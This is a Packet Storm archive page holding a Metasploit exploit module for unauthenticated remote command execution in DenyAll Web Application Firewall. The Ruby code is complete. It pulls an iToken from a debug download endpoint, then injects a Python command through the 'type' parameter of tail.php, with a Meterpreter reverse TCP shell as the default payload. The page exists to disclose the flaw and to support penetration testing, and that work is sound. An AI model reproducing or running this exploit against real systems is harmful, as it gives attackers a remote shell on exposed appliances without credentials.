Twenty Year Anniversary

DenyAll Web Application Firewall Remote Code Execution

DenyAll Web Application Firewall Remote Code Execution
Posted Sep 23, 2017
Authored by Mehmet Ince | Site metasploit.com

This Metasploit module exploits the command injection vulnerability of DenyAll Web Application Firewall. Unauthenticated users can execute a terminal command under the context of the web server user.

tags | exploit, web
MD5 | aa61f54d09236aa9b2ce2c30c247b100

DenyAll Web Application Firewall Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "DenyAll Web Application Firewall Remote Code Execution",
'Description' => %q{
This module exploits the command injection vulnerability of DenyAll Web Application Firewall. Unauthenticated users can execute a
terminal command under the context of the web server user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
],
'References' =>
[
['URL', 'https://pentest.blog/advisory-denyall-web-application-firewall-unauthenticated-remote-code-execution/']
],
'DefaultOptions' =>
{
'SSL' => true,
'RPORT' => 3001,
'Payload' => 'python/meterpreter/reverse_tcp'
},
'Platform' => ['python'],
'Arch' => ARCH_PYTHON,
'Targets' => [[ 'Automatic', { }]],
'Privileged' => false,
'DisclosureDate' => "Sep 19 2017",
'DefaultTarget' => 0
))

register_options(
[
OptString.new('TARGETURI', [true, 'The URI of the vulnerable DenyAll WAF', '/'])
]
)
end

def get_token
# Taking token by exploiting bug on first endpoint.
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'webservices', 'download', 'index.php'),
'vars_get' => {
'applianceUid' => 'LOCALUID',
'typeOf' => 'debug'
}
})

if res && res.code == 200 && res.body.include?("iToken")
res.body.scan(/"iToken";s:32:"([a-z][a-f0-9]{31})";/).flatten[0]
else
nil
end
end

def check
# If we've managed to get token, that means target is most likely vulnerable.
token = get_token
if token.nil?
Exploit::CheckCode::Safe
else
Exploit::CheckCode::Appears
end
end

def exploit
# Get iToken from unauthenticated accessible endpoint
print_status('Extracting iToken value')
token = get_token

if token.nil?
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
else
print_good("Awesome. iToken value = #{token}")
end

# Accessing to the vulnerable second endpoint where we have command injection with valid iToken
print_status('Trigerring command injection vulnerability with iToken value.')
r = rand_text_alpha(5 + rand(3));

send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'webservices', 'stream', 'tail.php'),
'vars_post' => {
'iToken' => token,
'tag' => 'tunnel',
'stime' => r,
'type' => "#{r}$(python -c \"#{payload.encoded}\")"
}
})

end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

May 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    15 Files
  • 2
    May 2nd
    17 Files
  • 3
    May 3rd
    30 Files
  • 4
    May 4th
    29 Files
  • 5
    May 5th
    2 Files
  • 6
    May 6th
    3 Files
  • 7
    May 7th
    13 Files
  • 8
    May 8th
    27 Files
  • 9
    May 9th
    17 Files
  • 10
    May 10th
    15 Files
  • 11
    May 11th
    8 Files
  • 12
    May 12th
    2 Files
  • 13
    May 13th
    8 Files
  • 14
    May 14th
    7 Files
  • 15
    May 15th
    43 Files
  • 16
    May 16th
    19 Files
  • 17
    May 17th
    16 Files
  • 18
    May 18th
    15 Files
  • 19
    May 19th
    3 Files
  • 20
    May 20th
    7 Files
  • 21
    May 21st
    15 Files
  • 22
    May 22nd
    40 Files
  • 23
    May 23rd
    64 Files
  • 24
    May 24th
    55 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close